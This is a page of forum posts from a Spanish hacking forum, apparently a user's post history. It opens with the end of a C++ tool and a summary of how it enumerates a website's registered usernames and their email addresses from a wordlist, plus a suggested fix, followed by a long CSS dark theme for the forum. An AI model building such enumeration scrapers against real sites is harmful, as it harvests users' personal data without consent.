  142.         delete [] line;
  143.        
  144. }
  145.  
  146. bool request(char *& linea){
  147.  
  148. for(int i=0; i<strlen(linea); i++){
  149.        
  150.         if(linea[i]=='3' && linea[i+1]=='9' && linea[i+2]=='4'){
  151.                 return true;
  152.         }
  153. }
  154.                 return false;
  155. }
  156.  

En resumen, el programa construye la URL de acuerdo a un wordlist.txt con el nombre de los usuarios
esa URL la utiliza en un script de powershell para descargar el HTML de la página
una vez descargado el HTML, el programa busca la cadena de texto donde se encuentra el correo.
Si este se encuentra lo almacena en otro arhivo de texto plano.
Y así susesivamente hasta probar todos los usuarios.



Y de esa manera obtenemos la lista de miembros usuario/correo registrados en la web.

La solución para esto sería simplemente no mostrar un mensaje con el correo o en su defecto mostrarlo pero con algún tipo de sensura.

Eso ha sido todo por hoy, cualquier duda pueden comentar.

Saludos a todos!

13
Front-end / Cambia el tema de Underc0de!
« en: Mayo 13, 2017, 04:41:43 am »
Muy buenas!

Personalmente me gusta mucho como se ve el tema dark de Underc0de los viernes, me parecía una lástima poder disfrutarlo sólo un día así que decidí cambiarlo  ;D

Tendrán que descargar Stylish una extensión que permite modificar el estilo de muchas páginas web, lo pueden hacer desde aquí para Mozilla: https://addons.mozilla.org/en-Us/firefox/addon/stylish/

Una vez instalado, instalan el tema 'dark' de underc0de https://userstyles.org/styles/142567/underc0de-friday?



Luego activan el tema desde la extensión.


¡Y LISTO! Ya tendrán el tema del viernes, todos los días.


Adjunto el código css que utilicé por si alguien quiere cambiar alguna cosa, o crear su propio estilo.

Código: CSS
  1. @-moz-document url-prefix('https://underc0de.org/'){
  2.  
  3. /* Styles for the general looks for the Curve theme.
  4. ------------------------------------------------------- */
  5. /* Normal, standard links. */
  6. a:link, a:visited
  7. {
  8.         color: #F5DA81;
  9.         text-decoration: none;
  10. }
  11. a:hover
  12. {
  13.         text-decoration: underline;
  14.         cursor: cursor;
  15.         color: #FF8000;
  16.  
  17. }
  18.  
  19. /* Links that open in a new window. */
  20. a.new_win:link, a.new_win:visited
  21. {
  22.         text-decoration: none;
  23. }
  24. a.new_win:hover
  25. {
  26.         text-decoration: underline;
  27. }
  28.  
  29. /* Tables should show empty cells. */
  30. table
  31. {
  32.         empty-cells: show;
  33. }
  34.  
  35. /* Set a fontsize that will look the same in all browsers. */
  36. body
  37. {
  38.         font: 13px/150% "Consolas", "Arial", "Helvetica", sans-serif;
  39.         margin: 0 auto;
  40.         padding: 0;
  41. }
  42.  
  43. /* Help popups require a different styling of the body element. */
  44. body#help_popup
  45. {
  46.         padding: 1em;
  47. }
  48.  
  49. /* use dark grey for the text, leaving #000 for headers etc */
  50. body, td, th, tr
  51. {
  52.         color: #bbb;
  53. }
  54.  
  55. /* This division wraps the entire forum when a forum width is set. */
  56. .wrapper
  57. {
  58.         width: 95%;
  59.         margin: 0 auto;
  60. }
  61.  
  62. /* lets give all forms zero padding/margins */
  63. form
  64. {
  65.         padding: 0;
  66.         margin: 0;
  67. }
  68.  
  69. /* We can style the different types of input buttons to be uniform throughout different browsers and their color themes.
  70.         .button_submit - covers input[type=submit], input[type=button], button[type=submit] and button[type=button] in all browsers
  71.         .button_reset  - covers input[type=reset] and button[type=reset] throughout all browsers
  72.         .input_check   - covers input[type=checkbox] throughout all browsers
  73.         .input_radio   - covers input[type=radio] throughout all browsers
  74.         .input_text    - covers input[type=text] throughout all browsers
  75.         .input_file    - covers input[type=file] throughout all browsers
  76. */
  77.  
  78. input, button, select, textarea
  79. {
  80.         font: 95%/115% verdana, Helvetica, sans-serif;
  81.         color: #000;
  82.         background: #fff;
  83.         border: 1px solid #7f9db9;
  84.         padding: 2px;
  85. }
  86.  
  87. /* Select elements look horrible with the extra padding, so leave them unpadded. */
  88. select
  89. {
  90.         padding: 0;
  91. }
  92.  
  93. /* Add some padding to the options instead. */
  94. select option
  95. {
  96.         padding: 1px;
  97. }
  98.  
  99. /* The font size of textareas should be just a little bit larger. */
  100. textarea
  101. {
  102.         font: 100%/130% verdana, Helvetica, sans-serif;
  103. }
  104.  
  105. /* Buttons should be styled a bit differently, in order to make them look more button'ish. */
  106. .button_submit, .button_reset
  107. {
  108.         background: #cde7ff url(https://underc0de.org/foro/Themes/underc0de/images/theme/submit_bg.png) no-repeat;
  109.         border: 1px solid #202020;
  110.         cursor: pointer;
  111.         font-weight: normal;
  112. }
  113. input:hover, textarea:hover, button:hover, select:hover
  114. {
  115.         border: 1px solid #454545;
  116. }
  117. .button_submit:hover, .button_reset:hover
  118. {
  119.         border: 1px solid #202020;
  120.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/submit_bg.png) no-repeat 0 -140px #cde7ff;
  121. }
  122. input:focus, textarea:focus, button:focus, select:focus
  123. {
  124.         border: 1px solid #454545;
  125. }
  126.  
  127. /* All input elements that are checkboxes or radio buttons shouldn't have a border around them. */
  128. input.input_check, input.input_radio
  129. {
  130.         border: none;
  131.         background: none;
  132. }
  133. h3.catbg input.input_check
  134. {
  135.         margin: 9px 7px 0 7px;
  136. }
  137.  
  138. /* Give disabled text input elements a different background color. */
  139. input[disabled].input_text
  140. {
  141.         background-color: #eee;
  142. }
  143.  
  144. /* Standard horizontal rule.. ([hr], etc.) */
  145. hr, .hrcolor
  146. {
  147.         height: 1px;
  148.         border: 0;
  149.         color: #494949;
  150.         background-color: #494949;
  151. }
  152.  
  153. /* By default set the color on these tags as #000. */
  154. h1, h2, h3, h4, h5, h6
  155. {
  156.         color: #fff;
  157.         font-size: 1em;
  158.         margin: 0;
  159.         padding: 0;
  160. }
  161.  
  162. /* Fieldsets are used to group elements. */
  163. fieldset
  164. {
  165.         border: 1px solid #c4c4c4;
  166.         padding: 1em;
  167.         margin: 0 0 0.5em 0;
  168. }
  169. fieldset legend
  170. {
  171.         font-weight: bold;
  172.         color: #444;
  173. }
  174. /* No image should have a border when linked. */
  175. a img
  176. {
  177.         border: 0;
  178. }
  179.  
  180. /* Define strong as bold, and em as italics */
  181. strong
  182. {
  183.         font-weight: bold;
  184. }
  185.  
  186. em
  187. {
  188.         font-style: italic;
  189. }
  190. /* Alternative for u tag */
  191. .underline
  192. {
  193.         text-decoration: underline;
  194. }
  195.  
  196. /* Common classes to easy styling.
  197. ------------------------------------------------------- */
  198.  
  199. .floatright
  200. {
  201.         float: right;
  202. }
  203. .floatleft
  204. {
  205.         float: left;
  206. }
  207.  
  208. .flow_auto
  209. {
  210.         overflow: auto;
  211. }
  212. .flow_hidden
  213. {
  214.         overflow: hidden;
  215. }
  216. .flow_hidden .windowbg, .flow_hidden .windowbg2
  217. {
  218.         margin-top: 2px;
  219. }
  220. .clear
  221. {
  222.         clear: both;
  223. }
  224. .clear_left
  225. {
  226.         clear: left;
  227. }
  228. .clear_right
  229. {
  230.         clear: right;
  231. }
  232.  
  233. /* Default font sizes: small (8pt), normal (10pt), and large (14pt). */
  234. .smalltext, tr.smalltext th
  235. {
  236.         font-size: 11px;
  237. }
  238. .middletext
  239. {
  240.         font-size: 11px;
  241.         line-height: 1em;
  242. }
  243. .normaltext
  244. {
  245.         font-size: 16px;
  246.         line-height: 1.2em;
  247. }
  248. .largetext
  249. {
  250.         font-size: 18px;
  251. }
  252. .centertext
  253. {
  254.         margin: 0 auto;
  255.         text-align: center;
  256. }
  257. .righttext
  258. {
  259.         margin-left: auto;
  260.         margin-right: 0;
  261.         text-align: right;
  262. }
  263. .lefttext
  264. {
  265.         margin-left: 0;
  266.         margin-right: auto;
  267.         text-align: left;
  268. }
  269. .double_height
  270. {
  271.         line-height: 2em;
  272. }
  273. /* some common padding styles */
  274. .padding
  275. {
  276.         padding: 0.7em;
  277. }
  278. .main_section, .lower_padding
  279. {
  280.         padding-bottom: 0.5em;
  281. }
  282. /* a quick reset list class. */
  283. ul.reset, ul.reset li
  284. {
  285.         padding: 0;
  286.         margin: 0;
  287.         list-style: none;
  288. }
  289.  
  290. /* Some BBC related styles.
  291. ------------------------------------------------------- */
  292.  
  293. /* A quote, perhaps from another post. */
  294. blockquote.bbc_standard_quote, blockquote.bbc_alternate_quote
  295. {
  296.         font-size: 11px;
  297.         color: #fff;
  298.         line-height: 1.4em;
  299.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quote.png) 0.1em 0.1em no-repeat;
  300.         border-left: 8px solid #666;
  301.         padding: 1.1em 1.4em;
  302.         margin: 0.1em 0 0.3em 0;
  303.         overflow: auto;
  304. }
  305.  
  306. /* Alterate blockquote stylings */
  307. blockquote.bbc_standard_quote
  308. {
  309.         background-color: #484848;
  310. }
  311. blockquote.bbc_alternate_quote
  312. {
  313.         background-color: #383838;
  314.         border-left: 8px solid #585858;
  315. }
  316.  
  317. /* A code block - maybe PHP ;). */
  318. code.bbc_code
  319. {
  320.         display: block;
  321.         font-family: "dejavu sans mono", "monaco", "lucida console", "courier new", monospace;
  322.         font-size: x-small;
  323.         background: #414141;
  324.         border-top: 4px solid #555;
  325.         border-bottom: 4px solid #555;
  326.         line-height: 1.5em;
  327.         padding: 3px 1em;
  328.         overflow: auto;
  329.         white-space: nowrap;
  330.         /* Show a scrollbar after about 24 lines. */
  331.         max-height: 24em;
  332. }
  333.  
  334. /* The "Quote:" and "Code:" header parts... */
  335. .codeheader, .quoteheader
  336. {
  337.         color: #ddd;
  338.         font-size: 11px;
  339.         font-weight: bold;
  340.         padding: 0 0.3em;
  341. }
  342.  
  343. /* For links to change the code stuff... */
  344. .codeoperation
  345. {
  346.         font-weight: normal;
  347. }
  348.  
  349. /* Styling for BBC tags */
  350. .bbc_link:link, .bbc_link:visited
  351. {
  352. }
  353. .bbc_link:hover
  354. {
  355. }
  356. .bbc_size
  357. {
  358.         line-height: 1.4em;
  359. }
  360. .bbc_color a
  361. {
  362.         color: inherit;
  363. }
  364. .bbc_img
  365. {
  366.         border: 0;
  367. }
  368. .bbc_table
  369. {
  370.         font: inherit;
  371.         color: inherit;
  372. }
  373. .bbc_table td
  374. {
  375.         font: inherit;
  376.         color: inherit;
  377.         vertical-align: top;
  378. }
  379. .bbc_u
  380. {
  381.         text-decoration: underline;
  382. }
  383. .bbc_list
  384. {
  385.         text-align: left;
  386. }
  387. .bbc_tt
  388. {
  389.         font-family: "dejavu sans mono", "monaco", "lucida console", "courier new", monospace;
  390. }
  391.  
  392. /* Generally, those [?] icons.  This makes your cursor a help icon. */
  393. .help
  394. {
  395.         cursor: help;
  396. }
  397.  
  398. /* /me uses this a lot. (emote, try typing /me in a post.) */
  399. .meaction
  400. {
  401.         color: red;
  402. }
  403.  
  404. /* Highlighted text - such as search results. */
  405. .highlight
  406. {
  407.         font-weight: bold;
  408.         color: #ff7200 !important;
  409.         font-size: 1.1em;
  410. }
  411.  
  412. /* A more discreet highlight color, for selected membergroups etc. */
  413. .highlight2
  414. {
  415.         background-color: #D1E1EF;
  416.         color: #000 !important;
  417. }
  418.  
  419. /* Generic, mostly color-related, classes.
  420. ------------------------------------------------------- */
  421.  
  422. .titlebg, .titlebg2, tr.titlebg th, tr.titlebg td, tr.titlebg2 td
  423. {
  424.         color: #fff;
  425.         font-size: 1.1em;
  426.         font-weight: bold;
  427.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat -10px -208px;
  428. }
  429. .catbg, .catbg2, tr.catbg td, tr.catbg2 td, tr.catbg th, tr.catbg2 th
  430. {
  431.         color: #cdcdcd;
  432.         font-size: 1.1em;
  433.         font-weight: bold;
  434.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat -10px -164px;
  435. }
  436.  
  437. /* adjust the table versions of headers */
  438. tr.titlebg th, tr.titlebg2 th, td.titlebg, td.titlebg2, tr.catbg th, tr.catbg2 th, td.catbg, td.catbg2
  439. {
  440.         padding: 0 6px;
  441. }
  442. tr.titlebg th a:link, tr.titlebg th a:visited, tr.titlebg2 td a:link, tr.titlebg2 td a:visited
  443. {
  444.         color: #fff;
  445. }
  446. tr.catbg th a:link, tr.catbg th a:visited, tr.catbg2 td a:link, tr.catbg2 td a:visited
  447. {
  448.         color: #cdcdcd;
  449. }
  450. .catbg select
  451. {
  452.         height: 1.5em;
  453.         font-size: 0.85em;
  454. }
  455.  
  456. /* Alternating backgrounds for posts, and several other sections of the forum. */
  457. .windowbg, #preview_body
  458. {
  459.         background-color: #282828;
  460. }
  461. .windowbg2
  462. {
  463.         background-color: #323232;
  464. }
  465. .windowbg3
  466. {
  467.         background-color: #2d2d2d;
  468. }
  469.  
  470. /* the page navigation area */
  471. .pagesection
  472. {
  473.         font-size: 0.9em;
  474.         padding: 0.2em;
  475.         overflow: hidden;
  476.         margin-bottom: 1px;
  477. }
  478. div.pagesection div.floatright input
  479. {
  480.         margin-top: 3px;
  481. }
  482.  
  483. .pagelinks
  484. {
  485.         padding: 0.6em 0 0.4em 0;
  486. }
  487.  
  488. /* Colors for background of posts requiring approval */
  489. .approvebg
  490. {
  491.         background-color: #363636;
  492. }
  493. .approvebg2
  494. {
  495.         background-color: #393939;
  496. }
  497.  
  498. /* Color for background of *topics* requiring approval */
  499. .approvetbg
  500. {
  501.         background-color: #282828;
  502. }
  503. .approvetbg2
  504. {
  505.         background-color: #414141;
  506. }
  507.  
  508. /* Sticky topics get a different background */
  509. .stickybg
  510. {
  511.         background: #272727;
  512.         color: #999;
  513. }
  514. .stickybg2
  515. {
  516.         background: #292929;
  517.         color: #999;
  518. }
  519.  
  520. /* Locked posts get a different shade, too! */
  521. .lockedbg
  522. {
  523.         background: #272727;
  524.         font-style: italic;
  525.         color: #666;
  526. }
  527. .lockedbg2
  528. {
  529.         background: #272727;
  530.         font-style: italic;
  531.         color: #666;
  532. }
  533.  
  534. /* Posts and personal messages displayed throughout the forum. */
  535. .post, .personalmessage
  536. {
  537.         overflow: auto;
  538.         line-height: 1.4em;
  539.         padding: 0.1em 0;
  540. }
  541.  
  542. /* All the signatures used in the forum.  If your forum users use Mozilla, Opera, or Safari, you might add max-height here ;). */
  543. .signature, .attachments
  544. {
  545.         width: 98%;
  546.         overflow: auto;
  547.         clear: right;
  548.         padding: 1em 0 3px 0;
  549.         border-top: 1px solid #494949;
  550.         line-height: 1.4em;
  551.         font-size: 0.85em;
  552. }
  553. .custom_fields_above_signature
  554. {
  555.         width: 98%;
  556.         clear: right;
  557.         padding: 1em 0 3px 0;
  558.         border-top: 1px solid #494949;
  559.         line-height: 1.4em;
  560.         font-size: 0.85em;
  561. }
  562.  
  563. /* Sometimes there will be an error when you post */
  564. .error
  565. {
  566.         color: red;
  567. }
  568.  
  569. /* Messages that somehow need to attract the attention. */
  570. .alert
  571. {
  572.         color: red;
  573. }
  574.  
  575. /* Calendar colors for birthdays, events and holidays */
  576. .birthday
  577. {
  578.         color: #920ac4;
  579. }
  580.  
  581. .event
  582. {
  583.         color: #078907;
  584. }
  585.  
  586. .holiday
  587. {
  588.         color: #688eb3;
  589. }
  590.  
  591. /* Colors for warnings */
  592. .warn_mute
  593. {
  594.         color: red;
  595. }
  596.  
  597. .warn_moderate
  598. {
  599.         color: #ffa500;
  600. }
  601.  
  602. .warn_watch, .success
  603. {
  604.         color: green;
  605. }
  606.  
  607. a.moderation_link, a.moderation_link:visited
  608. {
  609.         color: red;
  610.         font-weight: bold;
  611. }
  612.  
  613. .openid_login
  614. {
  615.         background: white url(https://underc0de.org/foro/Themes/underc0de/images/openid.gif) no-repeat;
  616.         padding-left: 18px;
  617. }
  618.  
  619. /* a descriptive style */
  620. .description, .description_board, .plainbox
  621. {
  622.         padding: 1em;
  623.         font-size: 0.9em;
  624.         line-height: 1.4em;
  625.         border: 1px solid #222;
  626.         background: #454545;
  627.         margin: 0.2em 1px 1em 1px;
  628.         color: #eee;
  629. }
  630. .description_board
  631. {
  632.         margin: 1em 1px 0 1px;
  633. }
  634.  
  635. /* an informative style */
  636. .information
  637. {
  638.         padding: 0.5em 1em;
  639.         font-size: 0.9em;
  640.         line-height: 1.3em;
  641.         border: 1px solid #774362;
  642.         background: #633752;
  643.         margin: 0.2em 1px 1em 1px;
  644. }
  645. .information p
  646. {
  647.         padding: 1em;
  648.         margin: 0;
  649. }
  650. p.para2
  651. {
  652.         padding: 1em 0 3.5em 0;
  653.         margin: 0;
  654. }
  655. /* AJAX notification bar
  656. ------------------------------------------------------- */
  657. #ajax_in_progress
  658. {
  659.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/loadingbar.png) repeat-x;
  660.         color: #f96f00;
  661.         text-align: center;
  662.         font-size: 16pt;
  663.         padding: 8px;
  664.         width: 100%;
  665.         height: 66px;
  666.         line-height: 25px;
  667.         position: fixed;
  668.         top: 0;
  669.         left: 0;
  670. }
  671.  
  672. #ajax_in_progress a
  673. {
  674.         color: orange;
  675.         text-decoration: underline;
  676.         font-size: smaller;
  677.         float: right;
  678.         margin-right: 20px;
  679. }
  680.  
  681. /* Lists with settings use these a lot.
  682. ------------------------------------------------------- */
  683. dl.settings
  684. {
  685.         clear: right;
  686.         overflow: auto;
  687.         margin: 0 0 10px 0;
  688.         padding: 0;
  689. }
  690. dl.settings dt
  691. {
  692.         width: 40%;
  693.         float: left;
  694.         margin: 0 0 10px 0;
  695.         padding: 0;
  696.         clear: both;
  697. }
  698. dl.settings dt.settings_title
  699. {
  700.         width: 100%;
  701.         float: none;
  702.         margin: 0 0 10px 0;
  703.         padding: 5px 0 0 0;
  704.         font-weight: bold;
  705.         clear: both;
  706. }
  707. dl.settings dt.windowbg
  708. {
  709.         width: 98%;
  710.         float: left;
  711.         margin: 0 0 3px 0;
  712.         padding: 0 0 5px 0;
  713.         clear: both;
  714. }
  715. dl.settings dd
  716. {
  717.         width: 56%;
  718.         float: right;
  719.         margin: 0 0 3px 0;
  720.         padding: 0;
  721. }
  722. dl.settings img
  723. {
  724.         margin: 0 10px 0 0;
  725. }
  726. /* help icons */
  727. dl.settings dt a img
  728. {
  729.         position: relative;
  730.         top: 2px;
  731. }
  732.  
  733. /* Styles for rounded headers.
  734. ------------------------------------------------------- */
  735. h3.catbg, h3.catbg2, h3.titlebg, h4.titlebg, h4.catbg
  736. {
  737.         overflow: hidden;
  738.         height: 38px;
  739.         line-height: 38px;
  740.         font-size: 1.2em;
  741.         font-weight: normal;
  742. }
  743. h3.catbg a:link, h3.catbg a:visited, h4.catbg a:link, h4.catbg a:visited, h3.catbg, .table_list tbody.header td, .table_list tbody.header td a
  744. {
  745.         color: #cdcdcd;
  746. }
  747. h3.catbg2 a, h3.catbg2
  748. {
  749.         color: #cdcdcd;
  750. }
  751. h3.catbg a:hover, h4.catbg a:hover, .table_list tbody.header td a:hover
  752. {
  753. }
  754. h3.catbg2 a:hover
  755. {
  756.         color: #fff;
  757.         text-decoration: none;
  758. }
  759. h3.titlebg a, h3.titlebg, h4.titlebg, h4.titlebg a
  760. {
  761.         color: #fff;
  762. }
  763. h3.titlebg a:hover, h4.titlebg a:hover
  764. {
  765. }
  766. h3.catbg img.icon, h4.titlebg img.icon
  767. {
  768.         vertical-align: middle;
  769.         margin: -2px 5px 0 0;
  770. }
  771. h4.catbg a.toggle img
  772. {
  773.         vertical-align: middle;
  774.         margin: -2px 5px 0 5px;
  775. }
  776. h4.catbg, h4.catbg2 , h3.catbg , h3.catbg2 , .table_list tbody.header td.catbg
  777. {
  778.         background: #000000;
  779.         padding-right: 9px;
  780. }
  781. h4.titlebg, h3.titlebg
  782. {
  783.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 100% -208px;
  784.         padding-right: 9px;
  785. }
  786. h4.titlebg img.icon
  787. {
  788.         float: left;
  789.         margin: 9px 8px 0 0;
  790. }
  791. div.cat_bar
  792. {
  793.         background: #000000;
  794.         padding-left: 9px;
  795.         height: 38px;
  796.         overflow: hidden;
  797.         margin-bottom: 1px;
  798. }
  799. div.title_bar
  800. {
  801.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 0 -208px;
  802.         padding-left: 9px;
  803.         height: 38px;
  804.         overflow: hidden;
  805.         margin-bottom: 1px;
  806. }
  807.  
  808. /* rounded bars needs a different background here */
  809.  
  810. div.roundframe div.cat_bar
  811. {
  812.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 0 -252px;
  813.         margin-bottom: 0;
  814. }
  815. div.roundframe div.cat_bar h3.catbg
  816. {
  817.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 100% -252px;
  818. }
  819. div.title_barIC
  820. {
  821.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 0 -120px;
  822.         padding-left: 9px;
  823.         height: 38px;
  824.         overflow: hidden;
  825.         margin-bottom: 1px;
  826. }
  827. div.title_barIC h4.titlebg
  828. {
  829.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 100% -120px;
  830. }
  831. #upshrinkHeaderIC p.pminfo
  832. {
  833.         margin: 0;
  834.         padding: 0.5em;
  835. }
  836. img#upshrink_ic, img#newsupshrink
  837. {
  838.         float: right;
  839.         margin: 12px 5px 0 0;
  840. }
  841. table.table_list a.unreadlink, table.table_list a.collapse
  842. {
  843.         float: right;
  844. }
  845. table.table_list a.collapse
  846. {
  847.         margin: 12px 5px 0 1em;
  848.         height: 31px;
  849.         line-height: 31px;
  850. }
  851.  
  852. /* The half-round header bars for some tables. */
  853. .table_grid tr.catbg, .table_grid tr.titlebg
  854. {
  855.         font-size: 0.95em;
  856.         border-bottom: 1px solid #252525;
  857. }
  858. .table_grid tr.catbg th, .table_grid tr.titlebg th
  859. {
  860.         height: 38px;
  861.         line-height: 38px;
  862. }
  863. tr.catbg th.first_th
  864. {
  865.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 0 -164px;
  866. }
  867. tr.catbg th.last_th
  868. {
  869.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 100% -164px;
  870. }
  871. tr.titlebg th.first_th
  872. {
  873.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 0 -208px;
  874. }
  875. tr.titlebg th.last_th
  876. {
  877.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) no-repeat 100% -208px;
  878. }
  879. .table_grid th.last_th input
  880. {
  881.         margin: 0 2px;
  882. }
  883. .table_grid th.lefttext
  884. {
  885.         padding: 0 0.7em;
  886. }
  887.  
  888. /* a general table class */
  889. table.table_grid
  890. {
  891.         border-collapse: collapse;
  892.         margin-top: 0.1em;
  893. }
  894. table.table_grid td
  895. {
  896.         padding: 8px;
  897.         border-bottom: 1px solid #252525;
  898.         border-right: 1px solid #252525;
  899. }
  900.  
  901. /* GenericList */
  902. .additional_row
  903. {
  904.         padding: 0.5em 0 0.5em 0;
  905. }
  906. table.table_grid thead tr.catbg th
  907. {
  908.         white-space: nowrap;
  909. }
  910.  
  911. /* table_grid styles for Profile > Show Permissions. */
  912. #permissions table.table_grid  td
  913. {
  914.         padding: 0.4em 0.8em;
  915.         cursor: default;
  916. }
  917.  
  918. /* Common styles used to add corners to divisions.
  919. ------------------------------------------------------- */
  920. .windowbg span.topslice
  921. {
  922.         display: block;
  923.         padding-left: 20px;
  924.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 0 -30px no-repeat;
  925. }
  926. .windowbg span.topslice span
  927. {
  928.         display: block;
  929.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 100% -30px no-repeat;
  930.         height: 11px;
  931. }
  932. .windowbg span.botslice
  933. {
  934.         display: block;
  935.         padding-left: 20px;
  936.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 0 -40px no-repeat;
  937.         font-size: 5px;
  938.         line-height: 5px;
  939.         margin-bottom: 0.2em;
  940. }
  941. .windowbg span.botslice span
  942. {
  943.         display: block;
  944.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 100% -40px no-repeat;
  945.         height: 11px;
  946. }
  947.  
  948. .windowbg2 span.topslice
  949. {
  950.         display: block;
  951.         padding-left: 20px;
  952.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 0 -60px no-repeat;
  953. }
  954. .windowbg2 span.topslice span
  955. {
  956.         display: block;
  957.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 100% -60px no-repeat;
  958.         height: 11px;
  959. }
  960. .windowbg2 span.botslice
  961. {
  962.         display: block;
  963.         padding-left: 20px;
  964.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 0 -71px no-repeat;
  965.         font-size: 5px;
  966.         line-height: 5px;
  967.         margin-bottom: 0.2em;
  968. }
  969. .windowbg2 span.botslice span
  970. {
  971.         display: block;
  972.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 100% -71px no-repeat;
  973.         height: 11px;
  974. }
  975. .approvebg span.topslice
  976. {
  977.         display: block;
  978.         padding-left: 20px;
  979.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 0 0 no-repeat;
  980. }
  981. .approvebg span.topslice span
  982. {
  983.         display: block;
  984.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 100% 0 no-repeat;
  985.         height: 11px;
  986. }
  987. .approvebg span.botslice
  988. {
  989.         display: block;
  990.         padding-left: 20px;
  991.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 0 -11px no-repeat;
  992.         margin-bottom: 0.2em;
  993. }
  994. .approvebg span.botslice span
  995. {
  996.         display: block;
  997.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/main_block.png) 100% -11px no-repeat;
  998.         height: 11px;
  999. }
  1000. .postbg
  1001. {
  1002.         border-left: 1px solid #7f7f7f;
  1003.         border-right: 1px solid #7f7f7f;
  1004. }
  1005.  
  1006. /* Used for sections that need somewhat larger corners.
  1007. ----------------------------------------------------------- */
  1008. .roundframe
  1009. {
  1010.         padding: 0 10px;
  1011.         background: #111111;
  1012.         border-left: 1px solid #202020;
  1013.         border-right: 1px solid #202020;
  1014. }
  1015. .roundframe dl, .roundframe dt, .roundframe p
  1016. {
  1017.         margin: 0;
  1018. }
  1019. .roundframe p
  1020. {
  1021.         padding: 0.5em;
  1022. }
  1023. span.upperframe
  1024. {
  1025.         padding: 0;
  1026.         display: block;
  1027.         background: #111111;
  1028.         padding-left: 20px;
  1029. }
  1030. span.upperframe span
  1031. {
  1032.         padding: 0;
  1033.         height: 12px;
  1034.         display: block;
  1035.         background: #111111;
  1036. }
  1037. span.lowerframe
  1038. {
  1039.         padding: 0;
  1040.         display: block;
  1041.         background: #111111;
  1042.         padding-left: 20px;
  1043. }
  1044. span.lowerframe span
  1045. {
  1046.         padding: 0;
  1047.         height: 12px;
  1048.         display: block;
  1049.         background: #111111;
  1050. }
  1051.  
  1052. /* The main content area.
  1053. ------------------------------------------------------- */
  1054. .content
  1055. {
  1056.         padding: 0.5em 1.2em;
  1057.         margin: 0;
  1058.         border: none;
  1059. }
  1060. .content p
  1061. {
  1062.         margin: 0 0 0.5em 0;
  1063. }
  1064.  
  1065. /* Styles used by the auto suggest control.
  1066. ------------------------------------------------------- */
  1067. .auto_suggest_div
  1068. {
  1069.         border: 1px solid #000;
  1070.         position: absolute;
  1071.         visibility: hidden;
  1072. }
  1073. .auto_suggest_item
  1074. {
  1075.         background-color: #ddd;
  1076. }
  1077. .auto_suggest_item_hover
  1078. {
  1079.         background-color: #888;
  1080.         cursor: pointer;
  1081.         color: #eee;
  1082. }
  1083.  
  1084. /* Styles for the standard dropdown menus.
  1085. ------------------------------------------------------- */
  1086. #main_menu
  1087. {
  1088.         padding: 0 0.5em;
  1089.         float: left;
  1090.         margin: 0;
  1091.         width: 98%;
  1092. }
  1093.  
  1094. .dropmenu, .dropmenu ul
  1095. {
  1096.         list-style: none;
  1097.         line-height: 1em;
  1098.         padding: 0;
  1099.         margin: 0;
  1100. }
  1101. .dropmenu
  1102. {
  1103.         padding: 0 0.5em;
  1104. }
  1105. .dropmenu a
  1106. {
  1107.         display: block;
  1108.         color: #999;
  1109.         text-decoration: none;
  1110.         text-transform: uppercase;
  1111. }
  1112. .dropmenu a span
  1113. {
  1114.         display: block;
  1115.         padding: 0 0 0 5px;
  1116.         font-size: 0.85em;     
  1117. }
  1118. /* the background's first level only */
  1119. .dropmenu li a.firstlevel
  1120. {
  1121.         margin-right: 8px;
  1122. }
  1123. .dropmenu li a.firstlevel span.firstlevel
  1124. {
  1125.         display: block;
  1126.         position: relative;
  1127.         left: -5px;
  1128.         padding-left: 5px;
  1129.         height: 22px;
  1130.         line-height: 20px;
  1131.         white-space: pre;
  1132. }
  1133. .dropmenu li
  1134. {
  1135.         float: left;
  1136.         padding: 0;
  1137.         margin: 0;
  1138.         position: relative;
  1139. }
  1140. .dropmenu li ul
  1141. {
  1142.         z-index: 90;
  1143.         display: none;
  1144.         position: absolute;
  1145.         width: 19.2em;
  1146.         font-weight: normal;
  1147.         border-bottom: 1px solid #404040;
  1148.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) 0 -130px no-repeat;
  1149.         padding: 7px 0 0 0;
  1150. }
  1151. .dropmenu li li
  1152. {
  1153.         width: 19em;
  1154.         margin: 0;
  1155.         border-left: 1px solid #404040;
  1156.         border-right: 1px solid #404040;
  1157. }
  1158. .dropmenu li li a span
  1159. {
  1160.         display: block;
  1161.         padding: 8px;
  1162. }
  1163. .dropmenu li ul ul
  1164. {
  1165.         margin: -1.8em 0 0 13em;
  1166. }
  1167.  
  1168. /* the active button */
  1169. .dropmenu li a.active
  1170. {
  1171.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 100% 0;
